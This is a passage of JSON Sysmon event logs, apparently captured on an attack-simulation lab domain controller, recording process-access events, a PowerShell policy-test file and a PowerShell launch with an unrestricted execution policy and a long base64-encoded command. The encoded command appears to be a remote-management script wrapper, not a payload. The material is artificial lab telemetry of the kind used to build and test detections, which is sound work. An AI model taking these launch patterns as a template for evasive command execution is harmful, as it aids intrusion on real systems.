12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.058\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.058","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nTargetProcessId: 2488\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","TargetProcessId":"2488","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:12.604\r\nProcessGuid: {90617006-4377-5F2D-0000-001020F31100}\r\nProcessId: 2488\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_diivwowx.tfi.ps1\r\nCreationUtcTime: 2020-08-07 12:05:12.604","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:12.604","ProcessGuid":"{90617006-4377-5F2D-0000-001020F31100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_diivwowx.tfi.ps1","CreationUtcTime":"2020-08-07 12:05:12.604","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.106\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nTargetProcessId: 2488\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.106","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","TargetProcessId":"2488","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.106\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001020F31100}\r\nTargetProcessId: 2488\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.106","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001020F31100}","TargetProcessId":"2488","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:14.507\r\nProcessGuid: {90617006-437A-5F2D-0000-001051001200}\r\nProcessId: 4712\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4375-5F2D-0000-002007ED1100}\r\nLogonId: 0x11ED07\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-4377-5F2D-0000-001020F31100}\r\nParentProcessId: 2488\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:14.507","ProcessGuid":"{90617006-437A-5F2D-0000-001051001200}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4375-5F2D-0000-002007ED1100}","LogonId":"0x11ed07","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-4377-5F2D-0000-001020F31100}","ParentProcessId":"2488","ParentImage":"C:\\W